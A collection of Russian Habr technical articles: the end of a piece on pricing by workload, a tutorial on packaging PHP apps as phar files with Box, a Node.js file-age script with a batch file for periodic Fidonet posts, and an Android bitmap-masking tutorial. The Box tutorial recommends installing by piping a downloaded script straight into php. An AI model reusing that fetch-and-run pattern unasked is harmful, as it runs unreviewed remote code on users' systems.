Теперь Y надо откорректировать тк –100% на нижней границе это условность. Поэтому отрицательные Y нам потребуется умножить на корректировочный коэффициент переменной части затрат.
```
Kfp = Нормированная себестоимость часа / 2 / Величину переменных затрат
Те для примера Kfp = 8 / 2 / 3 = 1,333
```
**Что это означает:** –100% рентабельности это случай когда цена продажи в 2 раза меньше себестоимости. Те это нижняя граница для тех случаев когда постоянная и переменная часть затрат делят нормированную себестоимость пополам. В этом случае коэффициент будет равен 1. В нашем случае переменная часть меньше постоянной и нам нужно опустить нижнюю границу в 1.333 раза.
**Еще:** тк график функции продолжает свой путь и после верхнего значения очереди, а рентабельность должна оставаться стабильной — там нужно ограничение:
```
Если X > верхней границы очереди —> он равен верхней границе очереди.
```
Для учета разницы в ожидаемой рентабельности для проектов с разным объемом услуг добавим простой коэффициент. Для нашего случая это типа так :
| Сумма услуг по проекту | Коэффициент рентабельности | Верхнее значение рентабельности |
| --- | --- | --- |
| Больше 800 000 р. | 0.6 | 30% |
| Больше 400 000 р. | 0.8 | 40% |
| Больше 100 000 р. | 1.0 | 50% |
| Больше 30 000 р. | 1.4 | 70% |
| Больше 0 р. | 1.8 | 90% |
Те маленькие проекты мы на единицу рабочего времени хотим продавать дороже. Подбирается это эмпирически на основе опыта менеджеров или на основе статистики продаж (что предпочтительнее).
Для большей лютости метода мы еще вводили «коэффициент мозга» определяющий насколько много проект содержит интеллектуальной составляющей и от этого поправляли границу рентабельности, но это уж совсем домашняя работа.
### Посчитали — показали
Получив таким образом нижнюю границу рентабельности «по загрузке» мы выводили ее для менеджера, заодно считали границу «нулевой рентабельности» и границу «минимальной отрицательной рентабельности». И в итоговых конечных цифрах вместе с материалами и НДСами.
Адаптация под многосоставные проекты
------------------------------------
Когда у вас несколько участков и они имеют разную загрузку, то и вероятность простоя у них разная и себестоимость часа и доля постоянных затрат скорее всего тоже. А заходящие проекты могут задействуют эти участки по разному (неоднородно). Для такого случая мы проделываем все вышеперечисленное для каждого участка, определяем его рентабельность по загрузке на «текущий момент», потом множим на долю нормированной себестоимости этого участка в общей нормированной себестоимости проекта, складываем и делим на количество участков в проекте.
Получается так:
```
Рент. «по загрузке» = (Рент.ПЗ_1уч * Доля_1уч + Рент.ПЗ_2уч * Доля_2уч) / 2 (количество участков)
РентПЗ — получено методом описанным выше.
Доля — нормированная себестоимость по участку в проекте / нормированная себестоимость (услуг) всего проекта.
```
**Что это значит:** что если есть два участка, один из которых загружен нормально, а второй пустует, то на проект который задействует оба участка в равных долях будет предлагаться большая «цена по загрузке», чем на проект задействующий только второй (простаивающий) участок.
Контроль уровня нормы
---------------------
Также я обещал рассказать о том как по движению денежных средств проконтролировать правильно ли установлена норма. Делать это желательно по сумме цифр нескольких месяцев, тк ДДС неравномерен (например зарплата за предыдущий месяц платится в следующем) и период в несколько месяцев будет эти неравномерности компенсировать. Также нужно очистить расходы по ДДС от внутренних переводов между счетами, и прочих «оптимизационных» операций.
### Реальная стоимость содержания
Нам из ДДС нужно получить цифру расходов на содержание производства без учета стоимости материалов закупаемых на конкретные проекты. Если у вас нет такого отчета, то можно не делать огромный план счетов, а сложить деньги оплаченные поставщикам за материалы (обычно это легче найти чем все остальное) и вычесть из ДДС.
Теперь мы сравниваем сумму выпуска в нормированной себестоимости с ДДС на содержание компании. Например у нас 30 млн. р. производство в нормированной себестоимости и 20 млн. р. содержание компании по ДДС за тот же период (здесь удобнее сравнивать если мы в нормированную себестоимость включаем налоги). И при этом загрузка за период составила 50% от запланированной нормы.
### Сравниваем с нормой
Какие выводы мы можем сделать из текущего примера и какие нам нужно предпринять действия. Совершенно точно, здесь завышенная нормированная себестоимость по двум причинам.
**Первая:** реальное содержание получилось на ~33% меньше, чем запланированное.
**Вторая:** загрузка за период при этом была всего лишь 50%, а это значит, что реальная себестоимость должна быть выше нормированной, а по факту это не так. Сколько процентов выше можно прикинуть методом описанным в середине статьи.
Обычно такие расхождения приводят к историям, когда клиент отказывается от проекта тк нашел в два раза дешевле и объективно известно, что без потери в качестве. Менеджеры в недоумении тк проект в этом случае совершенно убыточен, но на самом деле конкурент просто внимательно все посчитал (не всегда).
### Корректируем норму
**Что делать:** если понятно, что типовая нагрузка стабильно отличается от выбранной нормы — изменить норму.
**Второе** — это внимательнее посчитать планируемые расходы на содержание, тк может быть изначально туда заложили очень большие запасы.
**Третье** — в расходы заложили прибыль. Так можно делать в других моделях, но не в этой. В этой прибыль — это прибыль и она отдельно от нормированной себестоимости.
Зачем это все
-------------
Чтобы настроить автоматические ориентиры для менеджеров, которые не всегда имеют возможность принимать самостоятельные ценовые решения, а ситуация на рынке требует большей скорости принятия решений. | https://habr.com/ru/post/482520/ | null | ru | null |
# Быстрое создание phar файлов используя Box
`Phar` — это аналог `jar` из мира Java, но только применительно к PHP. `Phar` упаковывает файлы проекта в специальный архив и позволяет легко переносить и устанавливать приложение без манипуляций с самим проектом в виде исполняемой программы.
**Описание phar из официальной документации**Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.
Для создания phar файлов в PHP существует [довольно развесистый API](http://php.net/manual/en/book.phar.php), но есть способ проще и удобнее — использовать проект [Box](https://github.com/box-project/box2).
[Формат JSON файла
-----------------](#format-json-faila)
Проект Box позволяет описать процесс создания phar файла в удобном JSON формате.
Самый простой файл выглядит так:
```
{
"files": ["src/Put.php"],
"main": "bin/main",
"output": "example.phar",
"stub": true
}
```
где
`files` — файлы, которые должны быть включены в phar
`main` — файл, который будет выполнен при вызове phar файла
`output` — название итогового `phar` файла
`stub` — для консольных приложений устанавливается в `true`
[Здесь](https://github.com/box-project/box2-example) можно посмотреть процесс создания phar-файла на примере простого проекта.
[Здесь](https://github.com/box-project/box2/blob/2.0/res/schema.json) содержится список всех возможных параметров `box.json` с комментариями.
Попробуем собрать phar-файл на примере реального проекта. В качестве примера возьмем [систему миграций баз данных Nasgrate](https://github.com/dlevsha/nasgrate/). «Традиционно» данная система устанавливается либо через клонирование репозитория из GitHub, либо через Composer. Мы попробуем сделать отдельную утилиту, которую можно просто скачать и начать использовать вообще ничего не зная про PHP.
Создадим `box.json` в корне проекта
```
{
"chmod": "0755",
"directories": ["src","app"],
"files": ["README.md"],
"main": "bin/nasgrate",
"output": "nasgrate.phar",
"stub": true
}
```
`directories` — в данном параметре содержится список директорий, которые целиком будут включены в проект (в данном случае директория `src` и `app`).
`files` — если нужно включить какие-то конкретные файлы, перечисляем их здесь.
Мы бы могли например переписать box.json следующим образом
```
{
"chmod": "0755",
"directories": ["src"],
"files": ["app/console.php", "app/index.php", "README.md"],
"main": "bin/nasgrate",
"output": "nasgrate.phar",
"stub": true
}
```
Помимо этих двух варинтов записи есть еще возможность выборочно включить файлы в проект на основе фильтров. Например если бы в проекте активно использовались внешние библиотеки и они располагались бы в папке `vendors`, мы бы хотели включить файлы этих библиотек в проект, но исключить например все тесты. Тогда файл выглядел бы так
```
{
"chmod": "0755",
"directories": ["src"],
"files": ["app/console.php", "app/index.php", "README.md"],
"finder": [
{
"name": "*.php",
"exclude": [
"tests",
"test"
],
"in": "vendor"
}
],
"main": "bin/nasgrate",
"output": "nasgrate.phar",
"stub": true
}
```
секция `finder` в данном случае говорит: “включи все файлы с расширением `*.php` из директрии `vendor` кроме папок `tests` и `test`“.
`chmod` — позволяет установить права на `phar` файл. В данном случае мы ставим `0755` чтобы сделать файл исполняемым.
Остальные парметры были описаны выше.
[Установка Box
-------------](#ustanovka-box)
Наиболее простой (и рекомендуемый) способ установки
```
$ curl -LSs https://box-project.github.io/box2/installer.php | php
```
после этого в текущей директории появится `box.phar`.
Можно его запускать как `php box.phar`, либо назначить права на выполнение `chmod 755 box.phar`, переименовать в box `mv box.phar box` и перенести в `/usr/local/bin`. Тогда его можно будет запускать из любого места просто как `box`.
Альтернативная установка через Composer
```
$ composer global require kherge/box --prefer-source
```
или добавить его в существующий проект
```
{
"require-dev": {
"kherge/box": "~2.5"
}
}
```
Проверим правильность установки
```
$ box -v
```
должен вывести описание программы и список возможных опций.
Далее необходимо проверить что в вашем `php.ini` файле параметр `phar.readonly` стоит в `0`, `Off` или `false`.
Узнаем где находится наш файл, который актуален именно для консоли (если вы запустите phpinfo(); через Apache, он вам покажет другой php.ini):
```
$ php -i | grep php.ini
>> Configuration File (php.ini) Path => /usr/local/php5/lib
>> Loaded Configuration File => /usr/local/php5/lib/php.ini
```
Далее находим параметр `phar.readonly` и ставим его в `Off`.
```
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
```
[Компиляция проекта
------------------](#kompiliatsiia-proiekta)
Заходим в папку с проектом (на уровень где лежит наш `box.json`) и запускаем компиляцию
```
$ box build -v
```
Флаг `-v` позволяет нам увидеть что происходит в процессе компиляции
```
Removing previously built Phar...
* Building...
? Output path: /Users/dlevsha/Sites/nasgrate/nasgrate.phar
? Adding directories...
+ /Users/dlevsha/Sites/nasgrate/src/config.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Base/Dump.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Base/Generator.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Base/Helper.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Base/Migration.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Mysql/Dump.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Mysql/Generator.php
+ /Users/dlevsha/Sites/nasgrate/src/Driver/Mysql/Helper.php
+ /Users/dlevsha/Sites/nasgrate/src/Process/Base.php
+ /Users/dlevsha/Sites/nasgrate/src/Process/Console.php
+ /Users/dlevsha/Sites/nasgrate/src/Process/Server.php
+ /Users/dlevsha/Sites/nasgrate/src/template.sql
+ /Users/dlevsha/Sites/nasgrate/src/Util/Console.php
+ /Users/dlevsha/Sites/nasgrate/src/Util/Db.php
+ /Users/dlevsha/Sites/nasgrate/app/console.php
+ /Users/dlevsha/Sites/nasgrate/app/index.php
? Adding files...
+ /Users/dlevsha/Sites/nasgrate/README.md
? Adding main file: /Users/dlevsha/Sites/nasgrate/bin/nasgrate
? Generating new stub...
? Setting file permissions...
* Done.
```
после этого в директории проекта появится файл `nasgrate.phar`.
Проверим что все скомпилировалось нормально
```
$ ./nasgrate.phar
```
выведет описание утилиты
```
Nasgrate is a console utility that let you organise database schema migration process at a consistent and easy way.
It supports mysql, mssql, postgresql, oracle and other databases
Usage:
php nasgrate [command] [options]
Command:
status - displays migration status
generate - creates new migration (migration file)
up:show - displays (but not executes) SQL-query, executed by migration update
...
```
[Работа с внешними ресурсами
---------------------------](#rabota-s-vnieshnimi-riesursami)
Особенностью работы `phar` является то, что все ресурсы он ищет внутри своего архива. В большинстве случаев это не является проблемой, поскольку именно для этого мы `phar` и делали, чтобы он был независимым от окружения. Но есть ряд случаев когда ресурсам внутри `phar` архива необходимо работать с внешними файлами.
На примере Nasgrate — необходимо считывать конфигурацию из файла `.environment`, писать файлы миграций и файлы состояния во внешнюю директорию.
Если мы попытаемся указать относительный путь внутри проекта, например как `../.environment`, сгенерируется ошибка, поскольку такого файла внутри `phar` нет.
Существует два варианта решения данной проблемы:
Первый вариант смапить внешний файл во внутреннее пространство `phar` файла.
```
Phar::mount('phar://.environment', '/etc/nasgrate/.environment');
```
Проблема в том, что вам нужно точно знать абсолютный путь до файла.
Второй вариант — указывать путь от текущего местоположения `phar` файла. Примерно так:
```
define(DIR_RUN, dirname(Phar::running(false)));
```
Далее вы либо с помощью Phar::mount смапите его во внутреннее пространство `phar` либо просто укажите абсолютный путь до файла конфигурации. Предположим что конфигурационный файл находится в той же папке, что и сам `phar`
```
define(DIR_RUN, dirname(Phar::running(false)));
Phar::mount('phar://.environment', DIR_RUN.'/.environment');
```
и далее обращаетесь к нему как к локальному файлу, либо всегда обращаетесь по абсолюному пути.
Есть одно замечание, не знаю баг это или фича, но все директории подключенные через `Phar::mount` находятся в режиме readonly и как это поменять не очень ясно. При обращении по абсолютному пути таких проблем не возникает.
Еще один вроде как очевидный момент, но на который стоит обратить внимание. Phar файл содержит ресурсы вашего проекта и никак не регулирует наличие подключенных библиотек к самому php, его версию и т.д. То есть если вы используете какое-то расширение php, например PDO или вообще что-то установили из PECL, или используете какие-то особенности конкретной версии php, ваш phar не будет содержать информацию о среде выполнения. Если вы используете например traits из PHP 5.4, а у пользователя стоит 5.3 — то будет сгенерирована ошибка. Вы должны внутри своего приложения проверять все требуемые зависимости.
Ссылки по теме:
* [Официальная документация](http://php.net/manual/en/book.phar.php)
* [Проект Box на GitHub](https://github.com/box-project/box2/)
* [Полное описание параметров box.json](https://github.com/box-project/box2/blob/2.0/res/schema.json)
* [External config files with PHAR archives](https://gist.github.com/GaryRogers/735159ca0dd22621c638)
* [Secure PHAR Automation](https://mwop.net/blog/2015-12-14-secure-phar-automation.html)
* [Boxing up your Apps as Phars Quickly and Easily with Box](http://www.sitepoint.com/boxing-apps-phars-quickly-easily-box/)
* [Статья «Cоздание и применение архивов PHAR на сайте IBM»](http://www.ibm.com/developerworks/ru/library/os-php-5.3new4/) | https://habr.com/ru/post/274745/ | null | ru | null |
# Node.js на узле Фидонета: автоматизация периодических публикаций
Некоторые фидошники сталкиваются с необходимостью периодически публиковать в той или иной фидонетовской эхоконференции одно и то же сообщение (один и тот же текстовый файл) раз в несколько дней.
Например, модератору (или комодератору, в зависимости от распределения их обязанностей) приходится раз в неделю-другую класть в свою эхоконференцию её правила. Чуть другим (но всё же подобным) примером являются те фидошники, которые взяли на себя поддержку некоторого FAQ и также публикуют его в одной или нескольких тематически соответствующих эхоконференциях. (В эхе Fidonet.History её FAQ содержит своеобразную летопись истории Фидонета, выраженную в вопросах и ответах, в эхе SU.IP.Point — список узлов, набирающих новых пойнтов, в SU.FidoTech — разъяснение ряда технических терминов и алгоритмы нескольких полезных приёмов. В эхоконференциях, посвящённых тому или иному программному продукту, FAQ поясняет его настройку. И так далее.)
Если узел (или пойнт) работает беспрерывно на одном и том же компьютере, то такая публикация автоматизируется простым, бесхитростным способом: публикацию файла вписывают в список задач для демона **cron** (в UNIX-подобных системах) или его аналога в других системах.
Если же фидонетовская система работает не на одном и том же компьютере (есть ведь фидошники, которые с одного рабочего места на другое таскали с собою комплект фидонетовского софта некогда на дискете, а в новейшее время таскают на флэшке) или хотя бы работает не беспрерывно (а запускается фидошником время от времени, когда в нём рождается желание отправить, получить и почитать фидопочту), то регулярность публикаций обеспечивается иначе — не сервисом (демоном), а простой программою, которая проверяет, не прошло ли ещё столько дней со времени последней публикации файла, сколько необходимо для того, чтобы настало время вдругорядь опубликовать его.
Сегодня мы рассмотрим, каким подспорьем может движок Node.js стать в исполнении этой задачи.
Прежде всего отметим, что значительная часть этой задачи ужé решена.
Для того, чтобы опубликовать файл, достаточно подать команду **hpt post** эхопроцессору [HPT](http://husky.sourceforge.net/hpt.html) из комплекта программ [Husky](http://husky.sourceforge.net/). (Аналогичные команды существуют и в некоторых других популярных фидонетовских эхопроцессорах.)
Для того, чтобы сохранить (запомнить) дату и время такой публикации, достаточно подать команду **touch** по отношению к некоторому файлу, обновив дату его последнего изменения. UNIX-подобные операционные системы обыкновенно содержат эту команду в готовом виде, а для Windows её можно скачать с сайта [unxutils](http://unxutils.sourceforge.net/) на SourceForge.
Стало быть, остаётся сочинить только такую команду, которая выполняла бы противоположную задачу — позволяла бы из командной строки считать возраст указанного файла, выраженный в днях, а также сравнить его с некоторым указанным возрастом. И для этой цели нам послужит вот какой JavaScript для Node.js:
```
var fs = require('fs');
var clog = console.log;
if (process.argv.length < 3) {
clog('Usage:');
clog(' node agedays "filename" [N]');
clog('');
clog('Parameters:');
clog(' filename -- name of the file which age (in days) is checked');
clog(' N (optional) -- if file is N days old (or older),');
clog(' errorlevel 1 is set');
} else if (process.argv.length == 3) {
try {
var msec = (new Date()).getTime() -
fs.statSync(process.argv[2]).mtime.getTime();
var days = msec / 1000 / 60 / 60 / 24;
clog('File "' + process.argv[2] + '" is ' + days + ' days old.');
} catch(e) {
clog('File "' + process.argv[2] + '" cannot be opened.');
}
} else {
try {
var msec = (new Date()).getTime() -
fs.statSync(process.argv[2]).mtime.getTime();
var days = msec / 1000 / 60 / 60 / 24;
if( days > (+process.argv[3]) ) {
process.exit(1);
} else {
process.exit(0);
}
} catch(e) {
clog('File "' + process.argv[2] + '" cannot be opened.');
process.exit(2);
}
}
```
Сохранив этот скрипт и назвав его **agedays.js**, мы получаем возможность запускать его для выяснения возраста файла и для сравнения этого возраста с заранее заданным числом. Вот пример таких действий в Windows над файлом areas.cfg:
![[скриншот agedays]](https://habrastorage.org/r/w1560/storage2/4db/d95/7ba/4dbd957ba9e9497b0e40ac4f0064eb2b.png)
Прибавив такое средство к двум ранее имевшимся (к эхопроцессору и **touch**), мы наконец получаем возможность составить *бáтник* (файл с командами операционной системы), который и будет выполнять задачу периодической публикации одного или нескольких файлов в Фидонете. Вот для примера тот батник, который употребляется на моём узле под Windows:
```
@echo off
:checkmonth
node agedays NodePost\monthly._flag 30
if errorlevel 1 goto monthly
goto checkweek
:monthly
\utils\unxutils\touch NodePost\monthly._flag
hpt post -nf "Mithgol's Wishlist Robot" -s "Список желаемых функций Голдеда" -e "Ru.GoldEd" -z "Mithgol's NodePost" -o "FGHI Global Headlight Ignited" -f loc NodePost\GED_Wish.txt
goto checkweek
:checkweek
node agedays NodePost\weekly._flag 7
if errorlevel 1 goto weekly
goto end
:weekly
\utils\unxutils\touch NodePost\weekly._flag
hpt post -nf "Moderator of Ru.Fidonet.Yo" -s "*** Rules" -e "Ru.Fidonet.Yo" -z "Mithgol's NodePost" -o "FGHI Global Headlight Ignited" -f loc NodePost\YoRulez.txt
hpt post -nf "Moderator of Ru.Russophobia" -s "*** Rules" -e "Ru.Russophobia" -z "Mithgol's NodePost" -o "FGHI Global Headlight Ignited" -f loc NodePost\PhobRule.txt
hpt post -nf "Moderator of Ru.Russian.1916" -s "*** Rules" -e "Ru.Russian.1916" -z "Mithgol's NodePost" -o "FGHI Global Headlight Ignited" -f loc NodePost\rule1916.txt
goto end
:end
```
Такой батник (в моём примере он называется **NodePost.cmd**) уместнее всего расположить в том же каталоге, что и HPT, и запускать оттуда же: это позволяет команде «hpt post» обнаружить файл конфигурации HPT в своём рабочем каталоге. Публикуемые батником файлы я сложил в подкаталоге, названном NodePost; там же расположены и файлы-флаги, единственное предназначение которых — быть трогаемыми командою **touch** и проверяемыми командою **agedays**.
Вы можете видеть в исходном коде, что этим батником обеспечивается ежемесячная (раз в тридцать дней) публикация одного файла в Ru.GoldED, а также еженедельная (раз в семь дней) рассылка трёх файлов с правилами по трём эхоконференциям Фидонета от официального имени модератора («Moderator of …»).
Строки-команды, начинающиеся со слов «hpt post», достаточно длинны и будут наверняка подвергнуты автоматическому переносу при показе их на Хабрахабре, но в действительности каждая такая команда записывается в одну строку. (Чтобы они не сливались с соседними командами после такого переноса, я для наглядности добавил по одной пустой строке сверху и снизу от каждой команды «hpt post».) После параметра «-nf» записывается то имя отправителя, под которым файл будет отослан в эхоконференцию, а после параметра «-e» — эхотаг этой эхоконференции. После параметров «-s», «-z» и «-o» записывается желаемый заголовок сообщения, его тиарлайн и ориджин. Параметр «-f loc» совершенно необходим для того, чтобы сообщение считалось «локальным» (созданным именно на этой фидонетовской станции) и в дальнейшем было упаковано эхопроцессором как исходящее на другие узлы Фидонета. Последним параметром является имя публикуемого файла.
(Если вместо популярного HPT вы пользуетесь в Фидонете другим эхопроцессором, то все эти сведения позволят вам легко заменить «hpt post» на вызов более подходящей вашему софту команды.)
Большинство элементов вышеизложенного решения (движок Node.js, скрипт agedays, команда touch, эхопроцессор HPT) являются к тому же *[полисистемными](http://habrahabr.ru/post/141844/)* (кросс-платформенными), так что при переносе его с Windows на другую операционную систему вам придётся переписать только батник.
Скрипт **agedays.js** я выложил [на Гитхабе](https://github.com/Mithgol/agedays) под свободной лицензией MIT, и на этом рассказ мой окончен. | https://habr.com/ru/post/152873/ | null | ru | null |
# Masking Bitmaps на Android
Введение
========
При разработке под Android довольно часто возникает задача наложить маску на изображение. Чаще всего требуется закруглить углы у фотографий или сделать изображение полностью круглым. Но иногда применяются маски и более сложной формы.
В этой статье я хочу проанализировать имеющиеся в арсенале Android-разработчика средства для решения таких задач и выбрать наиболее удачное из них. Статья будет полезна в первую очередь тем, кто столкнулся с необходимостью реализовать наложение маски вручную, не пользуясь сторонними библиотеками.
Я предполагаю, что читатель имеет опыт в разработке под Android и знаком с классами Canvas, Drawable и Bitmap.
Код, используемый в статье, можно найти на [GitHub](https://github.com/ArkadyGamza/MaskingBitmaps).
Постановка задачи
=================
Допустим, у нас есть две картинки, которые представлены объектами Bitmap. Одна из них содержит исходное изображение, а вторая — маску в своем альфа-канале. Требуется отобразить изображение с наложенной маской.
Обычно маска храниться в ресурсах, а изображение загружается по сети, но в нашем примере обе картинки загружаются из ресурсов следующим кодом:
```
private void loadImages() {
mPictureBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.picture);
mMaskBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.mask_circle).extractAlpha();
}
```
Обратите внимание на `.extractAlpha()`: этот вызов создает Bitmap с конфигурацией ALPHA\_8, значит, на один пиксел расходуется один байт, который кодирует прозрачность этого пиксела. В таком формате очень выгодно хранить маски, так как цветовая информация в них не несет полезной нагрузки и ее можно выкинуть.
Теперь, когда изображения загружены, можно переходить к самому интересному — накладыванию маски. Какие средства для этого могут применяться?
PorterDuff modes
================
Одним из предлагаемых решений может стать использование PorterDuff-режимов наложения изображения на холст (Canvas). Давайте освежим в памяти, что это такое.
Теория
------
Введем обозначения (как в [стандарте](https://www.w3.org/TR/2002/WD-SVG11-20020215/masking.html)):
* Da (destination alpha) —исходная прозрачность пиксела холста;
* Dc (destination color) — исходный цвет пиксела холста;
* Sa (source alpha) — прозрачность пиксела накладываемого изображения;
* Sc (source color) — цвет пиксела накладываемого изображения;
* Da’ — прозрачность пискела холста после наложения;
* Dc’ — цвет пискела холста после наложения.
Режим определяется правилом, по которому определяются Da’ и Dc’ в зависимости от Dc, Da,Sa, Sc.
Таким образом, у нас есть 4 параметра для каждого пиксела. Формула, по которой из этих четырех параметров получаются цвет и прозрачность пиксела итогового изображения, и есть описание режима наложения.
[Da’, Dc’] = f(Dc, Da, Sa, Sc)
Например, для режима DST\_IN справедливо
Da' = Sa·Da
Dc' = Sa·Dc
или в компактной записи [Da’, Dc’] = [Sa·Da, Sa·Dc]. В документации Android это выглядит как
Надеюсь, теперь можно давать ссылку на не в меру лаконичную документацию от Google. Без предварительного объяснения созерцание оной зачастую вводит разработчиков в ступор: [developer.android.com/reference/android/graphics/PorterDuff.Mode.html](https://developer.android.com/reference/android/graphics/PorterDuff.Mode.html).
Но соображать в уме, как будет выглядеть итоговая картинка по этим формулам, довольно утомительно. Гораздо удобнее воспользоваться вот такой шпаргалкой по режимам наложения:
Из этой шпаргалки сразу видно интересующие нас режимы SRC\_IN и DST\_IN. Они, по сути, являются пересечением непрозрачных областей холста и накладываемого изображения, при этом DST\_IN оставляет цвет холста, а SRC\_IN меняет цвет. Если на холсте изначально была отрисована картинка, то выбираем DST\_IN. Если на холсте изначально была нарисована маска — выбираем SRC\_IN.
Теперь, когда все стало понятно, можно писать код.
SRC\_IN
-------
Довольно часто на stackoverflow.com встречаются ответы, где при использовании PorterDuff рекомендуют выделять память под буфер. Иногда даже это предлагается делать при каждом вызове onDraw. Конечно, это крайне неэффективно. Нужно стараться избегать вообще любого выделения памяти на куче в onDraw. Тем более удивительно наблюдать там Bitmap.createBitmap, который запросто может потребовать несколько мегабайт памяти. Простой пример: картинка 640\*640 в формате ARGB занимает в памяти более 1,5 Мб.
Чтобы этого избежать, буфер можно выделять заранее и переиспользовать его в вызовах onDraw.
Вот пример Drawable, в которой используется режим SRC\_IN. Память под буфер выделяется при изменении размера Drawable.
```
public class MaskedDrawablePorterDuffSrcIn extends Drawable {
private Bitmap mPictureBitmap;
private Bitmap mMaskBitmap;
private Bitmap mBufferBitmap;
private Canvas mBufferCanvas;
private final Paint mPaintSrcIn = new Paint();
public MaskedDrawablePorterDuffSrcIn() {
mPaintSrcIn.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.SRC_IN));
}
public void setPictureBitmap(Bitmap pictureBitmap) {
mPictureBitmap = pictureBitmap;
}
public void setMaskBitmap(Bitmap maskBitmap) {
mMaskBitmap = maskBitmap;
}
@Override
protected void onBoundsChange(Rect bounds) {
super.onBoundsChange(bounds);
final int width = bounds.width();
final int height = bounds.height();
if (width <= 0 || height <= 0) {
return;
}
mBufferBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); mBufferCanvas = new Canvas(mBufferBitmap);
}
@Override
public void draw(Canvas canvas) {
if (mPictureBitmap == null || mMaskBitmap == null) {
return;
}
mBufferCanvas.drawBitmap(mMaskBitmap, 0, 0, null);
mBufferCanvas.drawBitmap(mPictureBitmap, 0, 0, mPaintSrcIn);
//dump the buffer
canvas.drawBitmap(mBufferBitmap, 0, 0, null);
}
```
В примере выше сначала на холст буфера рисуется маска, потом в режиме SRC\_IN рисуется картинка.
Внимательный читатель заметит, что этот код неоптимален. Зачем перерисовывать холст буфера при каждом вызове draw? Ведь можно делать это только когда что-то изменилось.
**Оптимизированный код**
```
public class MaskedDrawablePorterDuffSrcIn extends MaskedDrawable {
private Bitmap mPictureBitmap;
private Bitmap mMaskBitmap;
private Bitmap mBufferBitmap;
private Canvas mBufferCanvas;
private final Paint mPaintSrcIn = new Paint();
public static MaskedDrawableFactory getFactory() {
return new MaskedDrawableFactory() {
@Override
public MaskedDrawable createMaskedDrawable() {
return new MaskedDrawablePorterDuffSrcIn();
}
};
}
public MaskedDrawablePorterDuffSrcIn() {
mPaintSrcIn.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.SRC_IN));
}
@Override
public void setPictureBitmap(Bitmap pictureBitmap) {
mPictureBitmap = pictureBitmap;
redrawBufferCanvas();
}
@Override
public void setMaskBitmap(Bitmap maskBitmap) {
mMaskBitmap = maskBitmap;
redrawBufferCanvas();
}
@Override
protected void onBoundsChange(Rect bounds) {
super.onBoundsChange(bounds);
final int width = bounds.width();
final int height = bounds.height();
if (width <= 0 || height <= 0) {
return;
}
if (mBufferBitmap != null
&& mBufferBitmap.getWidth() == width
&& mBufferBitmap.getHeight() == height) {
return;
}
mBufferBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); //that's too bad
mBufferCanvas = new Canvas(mBufferBitmap);
redrawBufferCanvas();
}
private void redrawBufferCanvas() {
if (mPictureBitmap == null || mMaskBitmap == null || mBufferCanvas == null) {
return;
}
mBufferCanvas.drawBitmap(mMaskBitmap, 0, 0, null);
mBufferCanvas.drawBitmap(mPictureBitmap, 0, 0, mPaintSrcIn);
}
@Override
public void draw(Canvas canvas) {
//dump the buffer
canvas.drawBitmap(mBufferBitmap, 0, 0, null);
}
@Override
public void setAlpha(int alpha) {
mPaintSrcIn.setAlpha(alpha);
}
@Override
public void setColorFilter(ColorFilter cf) {
//Not implemented
}
@Override
public int getOpacity() {
return PixelFormat.UNKNOWN;
}
@Override
public int getIntrinsicWidth() {
return mMaskBitmap != null ? mMaskBitmap.getWidth() : super.getIntrinsicWidth();
}
@Override
public int getIntrinsicHeight() {
return mMaskBitmap != null ? mMaskBitmap.getHeight() : super.getIntrinsicHeight();
}
}
```
DST\_IN
-------
В отличие от SRC\_IN, при использовании DST\_IN надо изменить порядок рисования: сначала на холст рисуется картинка, а сверху маска. Изменения по сравнению с предыдущим примером будут такие:
```
mPaintDstIn.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.DST_IN));
mBufferCanvas.drawBitmap(mPictureBitmap, 0, 0, null);
mBufferCanvas.drawBitmap(mMaskBitmap, 0, 0, mPaintDstIn);
```
Что любопытно, этот код не дает ожидаемого результата, если маска представлена в формате ALPHA\_8. Если же она представлена в неэффективном формате ARGB\_8888, то все прекрасно. [Вопрос](http://stackoverflow.com/questions/38552580/android-porterduff-mode-dst-in-combined-with-bitmap-config-alpha-8) на stackoverflow.com на данный момент висит без ответа. Если кто-то знает причину — просьба поделиться знанием в комментариях.
CLEAR + DST\_OVER
-----------------
В примерах выше память под буфер выделялась только при изменении размера Drawable, что уже намного лучше, чем выделять ее при каждой отрисовке.
Но если подумать, то в некоторых случаях можно обойтись вообще без выделения буфера и рисовать сразу на холст, который нам передали в draw. При этом нужно иметь в виду, что на нем уже что-то нарисовано.
Для этого в холсте мы как бы прорезаем дырку по форме маски с помощью режима CLEAR, а затем рисуем картинку в режиме DST\_OVER — образно говоря, подкладываем картинку под холст. Через эту дырку видно картинку и эффект получается как раз такой, как нам нужно.
Такой трюк можно использовать, когда известно, что маска и изображение не содержат полупрозрачных областей, а только либо полностью прозрачные либо полностью непрозрачные пикселы.
Код будет выглядеть так:
```
mPaintDstOver.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.DST_OVER));
mPaintClear.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.CLEAR));
//draw the mask with clear mode
canvas.drawBitmap(mMaskBitmap, 0, 0, mPaintClear);
//draw picture with dst over mode
canvas.drawBitmap(mPictureBitmap, 0, 0, mPaintDstOver);
```
У этого решения есть проблемы с прозрачностью. Если мы захотим реализовать метод setAlpha, то через изображение будет просвечивать фон окна, а вовсе не то, что было нарисовано на холсте под нашим Drawable. Сравните изображения:
Слева — как должно быть, справа — как получается, если использовать CLEAR + DST\_OVER в комбинации с полупрозрачностью.
